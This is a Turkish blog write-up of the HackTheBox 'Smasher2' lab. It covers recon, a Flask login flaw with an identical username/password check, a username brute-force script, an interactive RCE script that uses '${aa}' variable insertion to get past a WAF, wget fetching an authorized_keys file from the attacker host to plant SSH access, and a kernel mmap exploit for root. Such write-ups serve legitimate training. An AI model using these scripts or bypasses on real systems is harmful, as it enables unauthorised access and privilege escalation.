Avatar Ben Süleyman ERGEN. Siber güvenlik ile uğraşmayı seviyorum. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

HACKTHEBOX SMASHER2 WRITEUP

SMASHER2

Hackhebox ta insane bir makine.

smasher2

Bu benim ilk insane makinem :)

Nmap

Her zamanki gibi nmap ile başlıyorum.

# Nmap 7.80 scan initiated Wed Nov 27 14:17:52 2019 as: nmap -A -o nmap/smasher2-A.nmap 10.10.10.135
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
|   256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_  256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 27 14:18:12 2019 -- 1 IP address (1 host up) scanned in 19.87 seconds
  • 22 . portta bir ssh servisimiz var.
  • 53 . portta dns çalışıyor.
  • 80 . portta http çaşılıyor. Server ise apache2.

Dirb

Port 80 açık olduğu için gobuster ile taramaya başlıyorum.

$ gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://smasher2.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/12/11 14:19:03 Starting gobuster
===============================================================
/.bash_history (Status: 403)
/.bashrc (Status: 403)
. . . . .
. . . . .
/backup (Status: 301)
. . . . .
. . . . .
===============================================================
2019/12/11 14:19:54 Finished
===============================================================

sunucuda backup dizini olduğunu görüyorum. Ardından dizine gittiğimde 2 tane dosya ile karşılaşıyorum. ses.so ve auth.py. Bu dosyaları kaydediyorum.

Dns

Yoluma dns ile devam ediyorum. smasher2.htb domainini dns server üzerinden dig ile sorguluyorum.

$ dig ANY @10.10.10.135 smasher2.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> ANY @10.10.10.135 smasher2.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45787
;; flags: qr aa rd; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2236c1b35e6508bd25774ea05df0d29ac0caab5980dc0655 (good)
;; QUESTION SECTION:
;smasher2.htb.			IN	ANY

;; ANSWER SECTION:
smasher2.htb.		604800	IN	SOA	smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb.		604800	IN	NS	smasher2.htb.
smasher2.htb.		604800	IN	A	127.0.0.1
smasher2.htb.		604800	IN	AAAA	::1
smasher2.htb.		604800	IN	PTR	wonderfulsessionmanager.smasher2.htb.

;; ADDITIONAL SECTION:
smasher2.htb.		604800	IN	A	127.0.0.1
smasher2.htb.		604800	IN	AAAA	::1

;; Query time: 206 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Wed Dec 11 14:27:25 +03 2019
;; MSG SIZE  rcvd: 250

Yeni domainler bulduk. Bunlar:

  • wonderfulsessionmanager.smasher2.htb
  • root.smasher2.htb

wonderfulsessionmanager

wsm

Burada biraz bilgi toplamaya çalıştım. Fakat burası çok stabil değil. Servis basit bir dirb taramasında bile çöküyor. Bu yüzden burayı şimdilik atlıyorum.

wsm

Session Manager

backup dizininden indirdiğim dosyaları analiz etmeye başlıyorum. auth.py basit bir flask uygulaması. ses.so ise c ile yazılmış bir python modülü. auth.py wonderfulsessionmanager subdomaininde kullanılan uygulama.

Auth.py

Bu dosyayı genel hatları ile inceleyelim.

def get_secure_key

Bu fonksiyon random byte lar üretiyor ve bunları hex ile encode ediyor. Random medin üretiyor gibi düşünebilirsiniz.

craft_secure_token

def craft_secure_token(content):
	# content parametresi kullanıcı bilgilerinin bulunduğu bir str
	# admin:admin gibi

	# burada hmac hash oluşturuyor. Bu authentication işleminde kullanılacak
	h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)

	# hex olarak encode et
	return h.hexdigest()

before_request

Her requestten önce çalışıyor. Yaptıpı işlem ise şu

İstek anasayfaya geliyorsa sessionu kontrol ediyor. Session var ise isteği işlemeye devam ediyor. Eğer yok ise yeni bir tane session oluşturuyor.

İstek anasayfaya gelmiyorsa ve session oluşmamışsa anasayfaya yönlendiriyor. Session oluşmuşsa isteğe devam ediliyor.

Bu fonksiyondaki asıl amaç geçerli bir session geldiğinden emin olmak.

safe_init_manager

Giriş yapan kullanıcı için session oluşturuyor. Bu kısımdaki credentials lerin hardcoded olduğuna dikkat edin.

login = ["<REDACTED>", "<REDACTED>"]

login

Burası kullanıcının giriş yaptığı sayfa. Buraya post istği ile json formatında gerekli bilgiler gittiği taktirde login işlemini tamamlıyor. Geri dönüş olarak bir api_key dönüyor.

job

Bu kısım ise apiden gelen isteklerin bash kabuğu ile çalıştırılmasını sağlıyor. Bu alana girebilmek için giriş yapıp api_key almak gerekiyor. Yani rce yi buradan alacağız.

Diğer Fonksiyonlar ve Dosyalar

  • log_creds(ip, c) her doğru gibişi logluyor.
  • safe_get_manager(id) manageri getiriyor.
  • safe_have_manager(id) böyle bir manager var mı?
  • after_request(resp) requestten sonra responsu dönder

Bu arada sitenin template dosyaları backup altına yedeklenmemiş. Bu yüzden localde çalışırken hata almamak için 2 tane dosya oluşturmak faydalı olabilir.

.
├── auth.py
├── ses.so
└── templates  # ben ekledim
	├── index.html  # ben ekledim
	└── login.html  # ben ekledim
  • index index sayfasını göster
  • view_login login sayfasını göster

Ghidra

ses.so dosyasını ghidra ile analiz etmeye başladım. Bu kısım biraz uzun sürdü ve yorucu oldu fakat sonunda istediğimi aldım.

Ghidra da sol taraftaki menüden fonksiyonları inceliyorum. SessionMagager_.. klasörü içindeki fonksiyonları görüyorum. Bu fonksiyonlar session işlemlerinden sorumlu fonksiyonlar.

ses-ghidra

Buradaki fonksiyonlar login işlemini, login deneme sayısını arttırmayı ve session başlatma işlemlerini yapıyor.

Tabikide hemen login fonksiyonuna döğru yöneliyorum.

İnceleme sırasında login işleminin ve parola karşılaştırma işleminin yapıldığı satırları buluyorum. Buraya yoğunlaşmaya başlıyorum.

ses-ghidra

Dikkatimi get_internal_usr ve get_internal_pwd fonksiyonları çekiyor. Bu fonksiyoları incelemeye koyuluyorum. Belki bu dosyanın içinde credential bulurum.

Biraz incelemeden sonra aslında bu iki fonksiyonun aynı olduğunu görüyorum. Yani tamamen aynı. Sanki copy paste hatası yapılış gibi …

ses-ghidra

Aralarındanki tek fark isim farkı. Aslında bu yani kullanıcı adı ve parola karşılaştırması sırasında yalnızca kullanıcı adına gre karşılaştırma yapılıyor. Kullanıcı adı ile parolaya aynı değeri girdiğimizde o kullanıcının gerçek parolasına bakılmaksızın giriş yapabiliyoruz. Sadece bir kullanıcı adına ihtiyacımız var.

Authentication

Kullanıcı adı bulmak için basit bir script yazdım. Birde wordlsit.

#!/bin/python3

import requests
import time

# uri = "http://localhost:5000/" # localde deneme yaparken
uri = "http://wonderfulsessionmanager.smasher2.htb/"

with open("username-wordlist.txt", "r") as file:
	while True:
		ss = requests.session()
		ss.get(uri)
		for i in range(9): # her 10 denemede session kilileniyor.
			username = file.readline().strip()
			creds = {"username": username, "password": username}
			payload = {"data": creds}
			r = ss.post(uri + "auth", json=payload)
			if "endpoint" in r.text and "creation_date" in r.text:
				print("[==PASS==]", username, r.text)
				exit()
			# print(f"{i} {payload} {r.text}")
			time.sleep(0.5) # sunucunun crash olmaması için

Ve sonuç

$ python3 bruteforce-username.py 
[==PASS==] Administrator {"authenticated":true,"result":{"creation_date":1576067717,"endpoint":"/api/<api_key>/job","key":"fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8"}}

Buradan kullanıcı adının Administrator olduğunu öğreniyoruz. Gerçek parolayı bilmemize gerek yok. ses.so modülündeki hatadan dolayı kullanıcı adı ve parolayı Administrator yaparak girebiliyoruz.

Waf Bypass

Giriş yaptık şimdi geldi komut çalıştırmaya. Bu iş için küçük bir script daha yazdım.

import requests
import json

# uri = "http://localhost:5000/" # localde deneme yaparken
uri = "http://wonderfulsessionmanager.smasher2.htb/"

s = requests.session()
s.get(uri)
r = s.post(uri + "auth", json={"data": {"username": "Administrator", "password": "Administrator"}})
api_key = json.loads(r.text)["result"]["key"]
print(r.text)

while True:
	cmd = input("$ ")
	r = s.post(f"{uri}api/{api_key}/job", json={"schedule": cmd})
	try:
		output = json.loads(r.text)
	except:
		# print(r.text)
		if "don't have permission" in r.text:
			print("[=== NO PERMISSION ===]")
		continue

	if output["success"] == True:
		print(output["result"])
	else:
		print(output)

Ve çalıştırıyorum.

$ python3 rce.py 
{"authenticated":true,"result":{"creation_date":1576068151,"endpoint":"/api/<api_key>/job","key":"fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8"}}

$ whoami
dzonerzy

$ id
[=== NO PERMISSION ===]

Bazı komutlar engellenmiş. Yani web uygulaması ile aramızda waf var. Wafı bypass etmek biraz uğraştırdı fakat birkaç güzel yazı sayesinde sonunda yaptım.

Adımlar ise şu şekilde:

  • önce authorized_keys diye dosya oluştur ve ssh public keyini buraya yaz.
  • ardından authorized_keys dosyasını makineye indir.
  • .ssh klasörü oluştur.
  • ce authorized_keys dosyasını .ssh dizinine taşı.

Önce python ile http server başlatıyorum.

rce 2

Ardından authorized_keys dosyamı indiriyorum. .ssh dizini oluşturup, dosyamı oraya kopyalıyorum.

rce 1

Waf çoğu komutu engellemiş ve bazı stringleride engellemiş. Bundaldan bazıları mkdir, ssh. Buradaki ${aa} ifadesi wafı bypasslamak için. Bash daha önce tanımlanmayan bir değişkene boş string gibi davranır. yukarıda girilen komutlar aslında şuna denk

wget "http://10.10.14.194:8000/authorized_keys"
mk${aa}dir "../.ss${aa}h"
cp "authorized_keys" "../.ss${aa}h/"

# buna eşit
wget "http://10.10.14.194:8000/authorized_keys"
mkdir "../.ssh"
cp "authorized_keys" "../.ssh/"

Bu adımlardan sonra ssh üzerinden makineye bağlanabiledeğiz.

Dzonerzy

Ssh ile bağlandıktan sonra. user.txt dosyasını okuyabilirsiniz. Ardından dizinde küçük bir notta var.

dzonerzy@smasher2:~$ cat README 

	 .|'''.|                            '||                      
	 ||..  '  .. .. ..    ....    ....   || ..     ....  ... ..  
	  ''|||.   || || ||  '' .||  ||. '   ||' ||  .|...||  ||' '' 
	.     '||  || || ||  .|' ||  . '|..  ||  ||  ||       ||     
	|'....|'  .|| || ||. '|..'|' |'..|' .||. ||.  '|...' .||.    v2.0 
                                                             
							by DZONERZY 

Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy
				
				       Hacking!

free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *

En alttaki hint banim pek işime yaramadı. Fakat yinede bir hint :(

Başarısız Denemeler

Roota giden yol baya uğraştırıcı oldu. Bir zafiyet bulmak için baya uğraştım fakat pek bir şey bulamadım. İşte bazı başarısız denemelerim.

Standart linpeas.sh gibi pspy gibi bilgi toplama yöntemlerini kullandım. Buralardan bir şey gelmedi.

Daha sonra dizinleri kurcaladım. Bir bilgi parola varmı diye bütün dizinlere bakrım. Pek bir şey çıkmadı.

Sonradan kurulan paketlere baktım.

**dzonerzy@smasher2:/sbin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /sbin/mount.vmhgfs
**dzonerzy@smasher2:/bin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /bin/mt
dpkg-query: no path found matching pattern /bin/nc
dpkg-query: no path found matching pattern /bin/netcat
**dzonerzy@smasher2:/usr/local/bin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /usr/local/bin/flask

Çalıştırılabilir dizinlerdeki dosyalar üzerinde dpkg --search yaparak kurulan programları buldum. Ve bunlarla ilgili zafiyetler araştırdım.

mt nc netcat flask mount.vmhgfs

Bunlar yaptığım bazı hatalı denemeler.

Log Dosyaları

Uzun bir süre geçtikten sonra log dosyalarını incelemeye karar verdim. Logları incelemeye başlamadan önce kendi bilgisayarıma scp yardımı ile indirdim.

Ve ardından incelemeye başladım. Yani her bir satırını okulama başladım. Bi kaç başarısız incelemeden sonra auth.log ismindeki loglardan işe yarar bir şeyler çıkmaya başladı.

Aug 23 11:38:12 smasher2 sudo:     root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko

Root kullanıcısı sisteme bir kernel mokülü yüklemiş. Bu modül üzerine yoğunlaşmaya başlıyorum.

Mmap açığı

Bu dosyayı inceliyorum. önce strings ile modüldeki stringleri okuyorum.

$ strings /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
. . . . .
. . . . .
This is the right way, please exploit this shit!
. . . . .
. . . . .

Makineyi yapanlar bir hint de bırakmış. Ardından Bu dosyayı kurcalamaya başlıyorum ve internette araştırıyorum.

Araştırmam sırasında mmap fonksiyonunda bir hata olduğunu ve bununla ilgili makale ve exploitler buluyorum. Bende ardından exploiti vardır diyerekten exploit aramaya başladım. Aramam devam ederken güzel bir makaleye denk geldim. Buraya linkini brakıyorum

Burada exploitin nasıl yazıldığını ve zafiyeti açıklıyor.

exploit

Bende hazır yazılmış exploit bulmak için yola koyuldum. Bir github sayfasında muradıma eriyorum.

Modül farklı isimle makineye yüklenmiş bu yüzden exploit üzerinde bodülün yolunu veriyorum. exploit 10. satırı şu şekilde değiştiriyorum.

int fd = open("/dev/dhid", O_RDWR);

Ardından exploiti makineye atıyorum ve çalıştırıyorum.

dzonerzy@smasher2:/tmp/he$ nano exploit.c 
dzonerzy@smasher2:/tmp/he$ gcc exploit.c 
exploit.c: In function ‘main’:
exploit.c:29:30: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
  printf("[+] mmap OK addr: %lx\n", addr);
                            ~~^
                            %ls
dzonerzy@smasher2:/tmp/he$ ./a.out 
[+] PID: 1453
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0xaedb8304, credNum: 1
[+] Found cred structure! ptr: 0xaedb8784, credNum: 2
[+] Found cred structure! ptr: 0xaedb92c4, credNum: 3
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
# cd /root
# ls
CREDITS.txt  root.txt
# cat root.txt

Ve artık root kullanıcısıyız.

Ve son olarakta makineyi tasarlayanların notunu brakarak yazımı bitiriyorum.

root@smasher2:~# cat CREDITS.txt 
SMASHER2 by dzonerzy@htb in collaboration with xg0@htb have fun and be ready for smasher3!

Ve kendi imzamı :)

 _           _             _   _________  
| |__   __ _| |_ ___  __ _| |_|___ /___ \ 
| '_ \ / _` | __/ __|/ _` | __| |_ \ __) |
| | | | (_| | |_\__ \ (_| | |_ ___) / __/ 
|_| |_|\__,_|\__|___/\__,_|\__|____/_____|

all tags